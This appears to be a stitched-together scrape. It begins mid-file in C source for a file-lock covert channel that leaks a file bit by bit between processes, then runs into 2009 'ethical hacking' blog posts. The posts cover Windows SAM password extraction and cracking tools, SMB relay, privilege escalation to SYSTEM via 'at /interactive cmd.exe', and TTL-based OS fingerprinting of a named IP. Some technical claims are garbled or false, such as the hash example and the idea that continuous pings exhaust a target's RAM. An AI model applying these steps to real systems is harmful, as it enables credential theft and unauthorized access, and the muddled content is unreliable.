if(timeb > (timea+ INITTIMEOUT)){
printf("Doh.... Server start-up timed out\n");
fclose(fdout);
exit(1);
}
}

if(lock){
if((syncfd1 = open(f->sync1, O_RDONLY)) == -1) {
printf("\nO_WRONLY.... %s can't be opened as %s\n", f->sync1, strerror(errno));
exit(1);
}

if(fcntl(syncfd1, F_GETLK, &test) == -1){
printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync1, strerror(errno));
exit(1);
}

if(test.l_type == F_UNLCK){
//not locked
if(close(syncfd1) == -1){
printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
goto check;
}

else {
//locked
printf("%s locked.... reading file locks\n", f->sync1);
if(VERBOSE == 2) printf("pid of owner: %d\n", test.l_pid);
if(close(syncfd1) == -1){
printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
goto read;
}
}
if(!lock){
if((syncfd1 = open(f->sync1, O_RDONLY)) == -1) {
printf("\nO_WRONLY.... %s can't be opened as %s\n", f->sync1, strerror(errno));
exit(1);
}

if(fcntl(syncfd1, F_GETLK, &test) == -1){
printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
if(test.l_type == F_UNLCK){
//not locked
printf("%s not locked.... reading file locks\n",f->sync1);
if(close(syncfd1) == -1){
printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
goto read;
}
else {
//locked
if(close(syncfd1) == -1){
printf("Doh.... close error on %s as %s\n", f->sync1, strerror(errno));
exit(1);
}
goto check;
}
}

read:
bzero(fillme, sizeof(fillme));
flag = 1;
bit = 1;
byte = 0;
a = -1;
init++;
for(i=0; i<32; i++){
a++;
if(i == 0) {
byte = 0;
}
if(a > 7){
a = 0;
}

test.l_type = F_WRLCK;
test.l_whence = SEEK_SET;
test.l_start = 0;
test.l_len = 0;
if(VERBOSE) printf("byte %d bit %d = ", bytecount + byte, bit);

if((fd = open(f->fn[i].files, O_RDONLY)) == -1) {
printf("\nO_WRONLY Doh.... %s can't be opened\n", f->fn[i].files);
exit(1);
}

if(fcntl(fd, F_GETLK, &test) == -1){
printf("Doh.... Failed getting FLOCK info for %s as %s\n", f->fn[i].files, strerror(errno));
exit(1);
}

if(test.l_type == F_UNLCK){
//not locked
fillme[byte] |= (0 << a);
if(VERBOSE) printf("0\n");
if(close(fd) == -1){
printf("Doh.... close error on %s as %s\n", f->fn[i].files, strerror(errno));
exit(1);
}
}

else {
//locked
fillme[byte] |= (1 << a);
if(VERBOSE) printf("1\n");
if(close(fd) == -1){
printf("Doh.... close error on %s as %s\n", f->fn[i].files, strerror(errno));
exit(1);
}
}

bit = bit*2;
if(bit > 128){
bit = 1;
byte++;
}
}

bytecount = bytecount + 4;

if(VERBOSE == 2) displaybits(fillme[0]);
if(VERBOSE == 2) displaybits(fillme[1]);
if(VERBOSE == 2) displaybits(fillme[2]);
if(VERBOSE == 2) displaybits(fillme[3]);
count = fwrite(fillme, 4, 1, fdout);
if(count != 1){
printf("fwrite error\n");
exit(1);
}

goto lock;

lock:

if(lock){
//lock sync2
if((syncfd2 = open(f->sync2, O_WRONLY)) == -1) {
printf("\nDoh.... %s can't be opened as %s\n", f->sync2, strerror(errno));
exit(1);
}
if(fcntl(syncfd2, F_SETLK, &wrlockit) == -1){
printf("\nDoh.... Lock can't be set on %s as %s\n", f->sync2, strerror(errno));
exit(1);
}

else {
printf("locked %s....\n",f->sync2);
timea = time(0);
lock = 0;
goto check;
}
}
if(!lock){
if(fcntl(syncfd2, F_SETLK, &unlockit) == -1){
printf("\nDoh.... Can;t unlock %s as %s\n", f->sync2, strerror(errno));
exit(1);
}
else {
printf("unlocked %s....\n", f->sync2);
if(close(syncfd2) == -1){
printf("Doh.... close error on %s as %s\n", f->sync2, strerror(errno));
exit(1);
}
timea = time(0);
lock = 1;
goto check;
}
}
}

int makefile(void)
{
int filefd;
char prefix[8];

strncpy(prefix, "XXXXXXX", sizeof(prefix));
filefd = mkstemp(prefix);
if(filefd == -1){
if(errno == EINVAL) {
printf("Doh.... template broke\n");
return(-1);
}
if(errno == EEXIST) {
printf("Doh.... couldn't create unique temp file\n");
return(-1);
}
}
printf("%s created\n", prefix);
printf("FD = %d\n", filefd);
return(filefd);
}

void displaybits(char printme)
{
unsigned c, displayMask = 1 << 7;
printf("%c = ", printme);
for (c = 1; c <=8; c++){
putchar(printme & displayMask ? '1' : '0');
printme <<= 1;
}
putchar('\n');
}

int filesize(void)
{
FILE *fd;
int size, count;
char buf[0];
size = 0;
fd = fopen(sfile, "r");
if (!fd){
printf("Doh.... %s can't be opened\n", sfile);
exit(1);
}
for(;;){
count = fread(buf, 1, 1, fd);
if (count == 0) {
if(ferror(fd) !=0){
printf("File Error\n");
exit(0);
}
if(feof(fd) !=0){
goto end;
}
}
size++;
}
end:
if(fclose(fd) !=0 ){
printf("Fclose error on leaked file as %s\n", strerror(errno));
exit(1);
}
return(size);
}

void how2use(char *progname)
{
printf( "\nThe first two files are the sync files, the first one\n"\
"used be the server and the second by the client. The rights\n"\
"for all the files should be the server has read write access\n"\
"and the client read access. The second file however should\n"\
"have the opposite rights, the client should have read write\n"\
"access and the server have read access\n\n"\
"-s Act as server\n"\
"-c Act as client\n"\
"\n"\
"Usage:\n"\
" %s -s sendme.txt .... 34 files required\n"\
" %s -c gotit.txt .... 34 files same order as server\n", progname, progname);

exit(1);
}

Password-Cracking Techniques

2009-08-26T07:22:00.000-07:00

Password-Cracking Techniques
Understanding Password-Cracking
Techniques

We get daily tons of requests regarding password cracking,
hereby we present a well researched comprehensive article adressing the same
It may bounce many of ur heads but we are sure a must mug up for Geeks nour regular visitors!!
so Gear Up! Dont give up before having a look on the entire article!

Many hacking attempts start with attempting to crack passwords. Passwords are the key piece
of information needed to access a system. Users, when creating passwords, often select passwords
that are prone to being cracked. Many reuse passwords or choose one that’s simple—such
as a pet’s name—to help them remember it. Because of this human factor, most password cracking
is successful; it can be the launching point for escalating privileges, executing applications,
hiding files, and covering tracks. Passwords may be cracked manually or with automated tools
such as a dictionary or brute-force method, each of which are covered later in this chapter.
Manual password cracking involves attempting to log on with different passwords. The
hacker follows these steps:
1.
Find a valid user account (such as Administrator or Guest).
2.
Create a list of possible passwords.
3.
Rank the passwords from high to low probability.
4.
Key in each password.
5.
Try again until a successful password is found.
A hacker can also create a script file that tries each password in a list. This is still considered
manual cracking, but it’s time consuming and not usually effective.

Boring!! isnt it!! A more efficient way of cracking a password is to gain access to the password file on a system.
Most systems

hash
(one-way encrypt) a password for storage on a system. During the
logon process, the password entered by the user is hashed using the same algorithm and then
compared to the hashed passwords stored in the file. A hacker can attempt to gain access to
the hashing algorithm stored on the server instead of trying to guess or otherwise identify the
password. If the hacker is successful, they can decrypt the passwords stored on the server.
Passwords are stored in the Security Accounts Manager (SAM) file on a
Windows system and in a password shadow file on a Linux system.

Understanding the LanManager Hash
Windows 2000 uses NT Lan Manager (NTLM) hashing to secure passwords in transit on the
network. Depending on the password, NTLM hashing can be weak and easy to break. For
example, let’s say that the password is
123456abcdef
. When this password is encrypted with
the NTLM algorithm, it’s first converted to all uppercase:
123456ABCDEF
. The password is
padded with null (blank) characters to make it 14 characters long:
123456ABCDEF__
. Before
the password is encrypted, the 14-character string is split in half:
123456A and BCDEF__.
Each string is individually encrypted, and the results are concatenated:
123456A = 6BF11E04AFAB197F
BCDEF__ = F1E9FFDCC75575B15
The hash is
6BF11E04AFAB197FF1E9FFDCC75575B15

Hacking Tools
Legion automates the password guessing in NetBIOS sessions. Legion scans multiple
IP address ranges for Windows shares and also offers a manual dictionary attack tool.
NTInfoScan is a security scanner for NT 4.0. This vulnerability scanner produces an HTMLbased
report of security issues found on the target system and other information.
L0phtCrack is a password auditing and recovery package distributed by @stake software,
which is now owned by Symantec. It performs Server Message Block (SMB) packet captures
on the local network segment and captures individual login sessions. L0phtCrack contains
dictionary, brute-force, and hybrid attack capabilities.
John the Ripper is a command-line tool designed to crack both Unix and NT passwords. The
cracked passwords are case insensitive and may not represent the real mixed-case password.
KerbCrack consists of two programs: kerbsniff and kerbcrack. The sniffer listens on the network
and captures Windows 2000/XP Kerberos logins. The cracker can be used to find the
passwords from the capture file using a brute force attack or a dictionary attack.

Cracking Windows 2000 Passwords
The SAM file in Windows contains the usernames and hashed passwords. It’s located in the
Windows\system32\config
directory. The file is locked when the operating system is running
so a hacker can’t attempt to copy the file while the machine is booted to Windows.
One option for copying the SAM file is to boot to an alternate operating system such as
DOS or Linux with a boot CD. Alternately, the file can be copied from the
repair
directory.
If a systems administrator uses the RDISK feature of Windows to back up the system, then a
compressed copy of the SAM file called
SAM._
is created in
C:\windows\repair
. To expand
this file, use the following command at the command prompt:
C:\>expand sam._ sam
After the file is uncompressed, a dictionary, hybrid, or brute-force attack can be run against
the SAM file using a tool like L0phtCrack.

Redirecting the SMB Logon to the Attacker
Another way to discover passwords on a network is to redirect the Server Message Block
(SMB) logon to an attacker’s computer so that the passwords are sent to the hacker. In order
to do this, the hacker must sniff the NTLM responses from the authentication server and trick
the victim into attempting Windows authentication with the attacker’s computer. A common
technique is to send the victim an e-mail message with an embedded hyperlink to a fraudulent
Hacking Tools
Win32CreateLocalAdminUser is a program that creates a new user with the username and
password
X
and adds the user to the local administrator’s group. This action is part of the
Metasploit Project and can be launched with the Metasploit framework on Windows.
Offline NT Password Resetter is a method of resetting the password to the administrator’s
account when the system isn’t booted to Windows. The most common method is to boot to
a Linux boot CD and then access the NTFS partition, which is no longer protected, and change
the password.
SMB server. When the hyperlink is clicked, the user unwittingly sends their credentials over
the network.

SMB Redirection
Several automated hacking tools can implement SMB redirection:

SMB Relay MITM Attacks and Countermeasures
An SMB relay MITM attack is when the attacker sets up a fraudulent server with a relay
address. When a victim client connects to the fraudulent server, the MITM server intercepts
the call, hashes the password, and passes the connection to the victim server.
Figure 4.1 illustrates an example of such an attack.

Hacking Tools
SMBRelay is an SMB server that captures usernames and password hashes from incoming
SMB traffic. SMBRelay can also perform man-in-the-middle attacks.
SMBRelay2 is similar to SMBRelay but uses NetBIOS names instead of IP addresses to
capture usernames and passwords.
pwdump2 is a program that extracts the password hashes from a SAM file on a Windows system.
The extracted password hashes can then be run through L0phtCrack to break the passwords.
Samdump is another program to extract NTLM hashed passwords from a SAM file.
C2MYAZZ is a spyware program that makes Windows clients send their passwords as clear
text. It displays usernames and their passwords as users attach to server resources.

SMB relay countermeasures include configuring Windows 2000 to use SMB signing, which
causes it to cryptographically sign each block of SMB communications. These settings are
found under Security Policies/Security Options.

NetBIOS DoS Attacks
A NetBIOS Denial of Service (DoS) attack sends a NetBIOS Name Release message to the NetBIOS
Name Service on a target Windows systems and forces the system to place its name in conflict
so that the name can no longer be used. This essentially blocks the client from participating in the
NetBIOS network and creates a network DoS for that system.

Password-Cracking Countermeasures
The strongest passwords possible should be implemented to protect against password cracking.
Systems should enforce 8–12 character alphanumeric passwords. The length of time the same
password should be used is discussed in the next section.
To protect against cracking of the hashing algorithm for passwords stored on the server,
you must take care to physically isolate and protect the server. The systems administrator can
use the SYSKEY utility in Windows to further protect hashes stored on the server hard disk.
The server logs should also be monitored for brute-force attacks on user accounts.
A systems administrator can implement the following security precautions to decrease the
effectiveness of a brute-force password-cracking attempt:
1.
Never leave a default password.
2.
Never use a password that can be found in a dictionary.

Hacking Tools
SMBGrind increases the speed of L0phtCrack sessions on sniffer dumps by removing duplication
and providing a way to target specific users without having to edit the dump files manually.
The SMBDie tool crashes computers running Windows 2000/XP/NT by sending specially
crafted SMB requests.
NBTdeputy can register a NetBIOS computer name on a network and respond to NetBIOS
over TCP/IP (NetBT) name-query requests. It simplifies the use of SMBRelay. The relay can be
referred to by computer name instead of IP address.

Hacking Tools

NBName can disable entire LANs and prevent machines from rejoining them. Nodes on a Net-
BIOS network infected by the tool think that their names are already in use by other machines.
3.
Never use a password related to the host name, domain name, or anything else that can
be found with whois.
4.
Never use a password related to your hobbies, pets, relatives, or date of birth.
5.
Use a word that has more than 21 characters from a dictionary as a password.
This subject is discussed further in the section “Monitoring Event Viewer Logs.”
In the following sections, we’ll look at two measures you can take to strengthen passwords
and prevent password-cracking.

Password Change Interval
Passwords should expire after a certain amount of time so that users are forced to change
their passwords. If the password interval is set too low, then users will forget their current
passwords; as a result, a systems administrator will have to reset users’ passwords frequently.
On the other hand, if passwords are allowed to be used for too long, then security
may be compromised. The recommended password-change interval is every 30 days. In
addition, it’s recommended that users not be allowed to reuse the last three passwords.
You cannot completely block brute-force password attacks if the hacker
switches the proxy server where the source packet is generated. A systems
administrator can only add security features to decrease the likelihood that
brute-force password attacks will be useful.

Monitoring Event Viewer Logs
Administrators should monitor Event Viewer logs to recognize any intrusion attempts either
before they take place or while they’re occurring. Generally, several failed attempts are logged
in the system logs before a successful intrusion or password attack. The security logs are only
as good as the systems administrators who monitor them.
Tools such as VisualLast aid a network administrator in deciphering and analyzing the
security log files. VisualLast provides greater insight into the NT event logs so the administrator
can assess the activity of the network more accurately and efficiently. The program is
designed to allow network administrators to view and report individual users’ logon and
logoff times; these events may be searched according to time frame, which is invaluable to
security analysts who are looking for intrusion details.
The event log located at
c:\\windows\system32\config\Sec.Event.Evt
contains the
trace of an attacker's brute-force attempts.

Ripping Flash Movies for Passwords

2009-08-26T07:18:00.000-07:00

Ripping Flash Movies for Passwords

Ripping Flash Movies for Passwords Is easy Follow My Tutorial.

How to rip a flash movie from a website.

Go to the website where the flashfile is located.

Open de sourcecode (rightmouse click...select view sourcecode) of the html,asp,php..etc file where the flash movie is played from.

"http://www.website.com" is the site where the flashfile is located.

"/flash/ " is the subdir on that website.

"movie.swf" is the flash file itself.

but ofcourse this is only a example: the website, subdir and moviename wil be diffrent to this one.

Look for something like this: (can be diffrent)

Now the movie it self, it's highlighted in green.

Now the ripping it self.

Open notepad or a webeditor and create a sourcecode like this:

Flash movie

Save the file with: "Save as" and name it "flash.html".

Open it in your webbrowser and rightclick on the link "Flash movie" select "save target as" and save it to your HDD.

Finally: open it in Macromedia Flash v*.* and lookup the password.

log on as Administrator

2009-08-26T07:17:00.000-07:00

Haking "admin" from "user" mode n more

WELCOME TO www.hackingarticles.tk

one stop compilation for Ethical Hacking

Click here for HOME page

really that is possible !

Refer to the other articles on this wiki for the same topic

as windows seems to have fixed this bug..

still u can browse for educational purpose

u know why is it a "user" account because it lacks come service layer than that in "administrator" account

Using simple command line tools on a machine running Windows XP we will obtain system level privileges, and run the entire explorer process (Desktop), and all processes that run from it have system privileges. The system run level is higher than administrator, and has full control of the operating system and it’s kernel. On many machines this can be exploited even with the guest account. At the time I’m publishing this, I have been unable to find any other mention of people running an entire desktop as system, although I have seen some articles regarding the SYSTEM command prompt.

Local privilege escalation is useful on any system that a hacker may compromise; the system account allows for several other things that aren’t normally possible (like resetting the administrator password).

The Local System account is used by the Windows OS to control various aspects of the system (kernel, services, etc); the account shows up as SYSTEM in the Task Manager

Local System differs from an Administrator account in that it has full control of the operating system, similar to root on a *nix machine. Most System processes are required by the operating system, and cannot be closed, even by an Administrator account; attempting to close them will result in a error message. The following quote from Wikipedia explains this in a easy to understand way:

You can trick the system into running a program, script, or batch file with system level privileges.

One sample

One trick is to use a vulnerability in Windows long filename support.

Try placing an executable named Program.*, in the root directory of the "Windows" drive. Then reboot. The system may run the Program.*, with system level privileges. So long as one of the applications in the "Program Files" directory is a startup app. The call to "Program Files", will be intercepted by Program.*.

Microsoft eventually caught on to that trick. Now days, more and more, of the startup applications are being coded to use limited privileges.

Quote:

In Windows NT and later systems derived from it (Windows 2000, Windows XP, Windows Server 2003 and Windows Vista), there may or may not be a superuser. By default, there is a superuser named Administrator, although it is not an exact analogue of the Unix root superuser account. Administrator does not have all the privileges of root because some superuser privileges are assigned to the Local System account in Windows NT.

Under normal circumstances, a user cannot run code as System, only the operating system itself has this ability, but by using the command line, we will trick Windows into running our desktop as System, along with all applications that are started from within.

Getting SYSTEM

I will now walk you through the process of obtaining SYSTEM privileges.

To start, lets open up a command prompt (Start > Run > cmd > [ENTER]).

At the prompt, enter the following command, then press [ENTER]:

Code:

If it responds with an “access denied” error, then we are out of luck, and you’ll have to try another method of privilege escalation; if it responds with “There are no entries in the list” (or sometimes with multiple entries already in the list) then we are good. Access to the at command varies, on some installations of Windows, even the Guest account can access it, on others it’s limited to Administrator accounts. If you can use the at command, enter the following commands, then press [ENTER]:

Code:

at 15:25 /interactive “cmd.exe”

Lets break down the preceding code. The “at” told the machine to run the at command, everything after that are the operators for the command, the important thing here, is to change the time (24 hour format) to one minute after the time currently set on your computers clock, for example: If your computer’s clock says it’s 4:30pm, convert this to 24 hour format (16:30) then use 16:31 as the time in the command. If you issue the at command again with no operators, then you should see something similar to this:

When the system clock reaches the time you set, then a new command prompt will magically run. The difference is that this one is running with system privileges (because it was started by the task scheduler service, which runs under the Local System account). It should look like this:

You’ll notice that the title bar has changed from cmd.exe to svchost.exe (which is short for Service Host). Now that we have our system command prompt, you may close the old one. Run Task Manager by either pressing CTRL+ALT+DELETE or typing taskmgr at the command prompt. In task manager, go to the processes tab, and kill explorer.exe; your desktop and all open folders should disappear, but the system command prompt should still be there.

At the system command prompt, enter in the following:

Code:

explorer.exe

A desktop will come back up, but what this? It isn’t your desktop. Go to the start menu and look at the user name, it should say “SYSTEM”. Also open up task manager again, and you’ll notice that explorer.exe is now running as SYSTEM. The easiest way to get back into your own desktop, is to log out and then log back in. The following 2 screenshots show my results (click to zoom):

System user name on start menu

explorer.exe running under SYSTEM

What to do now

Now that we have SYSTEM access, everything that we run from our explorer process will have it too, browsers, games, etc. You also have the ability to reset the administrators password, and kill other processes owned by SYSTEM. You can do anything on the machine, the equivalent of root; You are now God of the Windows machine. I’ll leave the rest up to your imagination.

ADMINISTRATOR IN WELCOME SCREEN.

When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.

First you must ensure that the Administrator Account is enabled:

1 open Control Panel

2 open Administrative Tools

3 open Local Security Policy

4 expand Local Policies

5 click on Security Options

6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.

1 open Control Panel

2 open User Accounts

3 click Change the way users log on or log off

4 untick Use the Welcome Screen

5 click Apply Options

You will now be able to log on to Windows XP as Administrator in Normal Mode.

EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!

Start the Registry Editor Go to:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \

Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.

Remote operating system detection

2009-08-26T07:15:00.000-07:00

Remote operating system detection

Now a days we invite the so called victim to a webpage/blog

and with the help of a free web traker servive get all his details

as in browser/operating system and other details

but still i would like to share the traditional method as well

Detecting OS (operating system) is another most important step towards hacking into a system. We can even say that after tracing the IP of the system it is the most prior thing that should be done to get the root on a system cause without having knowledge about the OS running by the target system you cannot execute any system commands on the target system and thus your mission wont be accomplished. In here I have figure out the basics of detecting OS remotely without having physical access to the system. There are various method of detecting OS like by trace routing the victim’s IP , by pinging the IP , by using telnet and also by using a terminal. But from my research I have concluded that detecting OS through ping or tracerout is the most simplest but effective way of determining the operating system running in the remote computer without having physical access to the system. Since my aim of writing articles is to make things clear for beginners and intermediate so I will explain remote os detecting through ping method which is very easy to understand even for peoples totally new to computers.. yeah yeah.. I know you call them newbies..right ??

REMOTE OS DETECTION USING PING METHOD

What is PING and what is its utility ?

Ping is an MSDOS utility provided for windows version of DOS and for Unix and operating systems having UNIX as the core kernel. It runs in dos box in windows and directly in UNIX platform. In this manual I will give more stress on the MSDOS version of ping.

Ping is an utility used for sending and receiving packets of data to a target system using its IP and thus from the outputs you can figure out many information about the target system.

In remote os detection we are mainly concerned with the TTL values of the received data packets.

Note: When you send or receive a file over the internet it is not send at once. Instead it is broken down at the source system and these broken fragments of data know as data packets are send through the internet and these data packets are gathered together by the target system according to an algorithm constructed by the source system.

For example if I send a picture of size 400 KB to my girl friend (hey girls out there remember I don’t yet have a gf in reality) then what actually happens is that my system breaks the data into data packets, say the file of 400 KB has been broken down into 4 data packets each having a size of 100 KB and having a name. These data packets are assigned a code known as the TTL value of the data packets by my operating system. Then these data packets are gathered and the original file is formed from these data packets at the target system.

Example:

C:\windows>ping/?

Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]

[-r count] [-s count] [[-j host-list] | [-k host-list]]

[-w timeout] target_name

Options:

-t Ping the specified host until stopped.

To see statistics and continue - type Control-Break;

-a Resolve addresses to hostnames.

-n count Number of echo requests to send.

-l size Send buffer size.

-f Set Don't Fragment flag in packet.

-i TTL Time To Live.

-v TOS Type Of Service.

-r count Record route for count hops.

-s count Timestamp for count hops.

-j host-list Loose source route along host-list.

-k host-list Strict source route along host-list.

-w timeout Timeout in milliseconds to wait for each reply.

there are various switches available for ping. Above I have given a list of all the switches available in the DOS version of ping. Using the –t switch you can continuously ping a target until it is crashed down. I am sure you are probably wondering how will it crash down the remote system. The answer is quite simple. If you ping the remote system continuously then what happens is that slowly the RAM of the target system is overloaded with these stack data and compels the system to restart or crashes it. You can also use the –l switch to specify the amount of data packet to be send at a time.

But in this article I am not concerned with crashing down a remote system cause its not that easy as it seems to be, there are many other tricks for it and its not possible to crash down a system of present technology just by simple ping. I am concerned with the TTL values of the output that you will get after pinging a system. You can use –n switch with ping to specify the number of echo (ie data packets) to be send to the target system. The default number is 4.

Example:

C:\windows> ping –n 10 127.0.0.1

This command will ping 127.0.0.1 with 10 packets of data and after that will give you an output.

Now I think its time for a real example which I have executed on my system.

C:\windows>ping 127.0.0.1

Pinging 127.0.0.1 with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<1ms ttl="128

(or check http://members.cox.net/~ndav1/self_published/TTL_values.html)

Ping statistics for 127.0.0.1:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

Here I have pinged the IP 127.0.0.1 (offline ip of any system) with default ping. Here I am getting TTL value as 128. This is the thing what we need for remote os detection.

What is TTL value ?

TTL value is nothing but a simple code assigned to the out going data packets by the operating system of a computer. The TTL value assigned to the out going data packets depends on the operating system and it is the same for a particular operating system. As for example if you ping a system running windows 98 or earlier versions of windows NT with service packs (I don’t know exactly about the TTL values of recent versions of Windows NT but from my research I think it’s the same as previous versions cause the TTL value even in Windows XP is 128) you will get the TTL value as 128, thus from this TTL value you can easily say that the target system is running Microsoft Windows.

TTL values of commonly used Operating Systems

OS VERSION PLATFORM TTL

Windows 9x/NT Intel 32

Windows 9x/NT Intel 128

Windows 2000 Intel 128

DigitalUnix 4.0 Alpha 60

Unisys x Mainframe 64

Linux 2.2.x Intel 64

FTX(UNIX) 3.3 STRATUS 64

SCO R5 Compaq 64

Netware 4.11 Intel 128

AIX 4.3.x IBM/RS6000 60

AIX 4.2.x IBM/RS6000 60

Cisco 11.2 7507 60

Cisco 12.0 2514 255

IRIX 6.x SGI 60

FreeBSD 3.x Intel 64

OpenBSD 2.x Intel 64

Solaris 8 Intel/Sparc 64

Solaris 2.x Intel/Sparc 255

Well these are not all. There are many more TTL values of many other operating systems. But generally most systems lies within this list.

Now lets try this manual practically and find out the operating system running by the IP 202.178.64.19.

C:\windows>ping 202.178.64.19

Pinging 202.178.64.19 with 32 bytes of data:

Reply from 202.178.64.19: bytes=32 time<1ms ttl="128

Ping statistics for 202.178.64.19:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

Well from the output you can figure out many informations. First 4 packets of data each of 32 bytes has been send to 202.178.64.19. In response the target system has responded with data packets of TTL value as 128.

Now we can easily say that the system 202.178.64.19 is running windows.

ERROR CORRECTION IN SOME CASES

There is a possibility of error in TTL values that you receive. Even though the source system send a TTL value of 128 you may receive the TTL value as 120. Well nothing to worry cause its due to the fact that routers reduce the TTL value by 1.

Don’t worry I’ll explain and made things much clearer for you.

It’s a fact that some times routers may reduce the TTL value assigned to the data packets by the source OS by 1.

In that case you have to find out how many routers are there in between your system and the target system and then simply add the number of routers to the received TTL values and you will get the original TTL value.

To find out how many routers there are in between your system and the target system just perform a normal and simple tracert to that IP.

For more information about tracing an IP read my article ‘TRACING IP” in

After tracing the IP using tracert tool of dos suppose you find that there are 10 routers between you and the target system then just simply add 10 to the TTL value that you have received and you will get the original TTL value.

And once you get the original TTL value then its as simple as changing girl friend to find out the operating system running by the remote computer. Just match the TTL value with the above chart and you will find out the operating system info.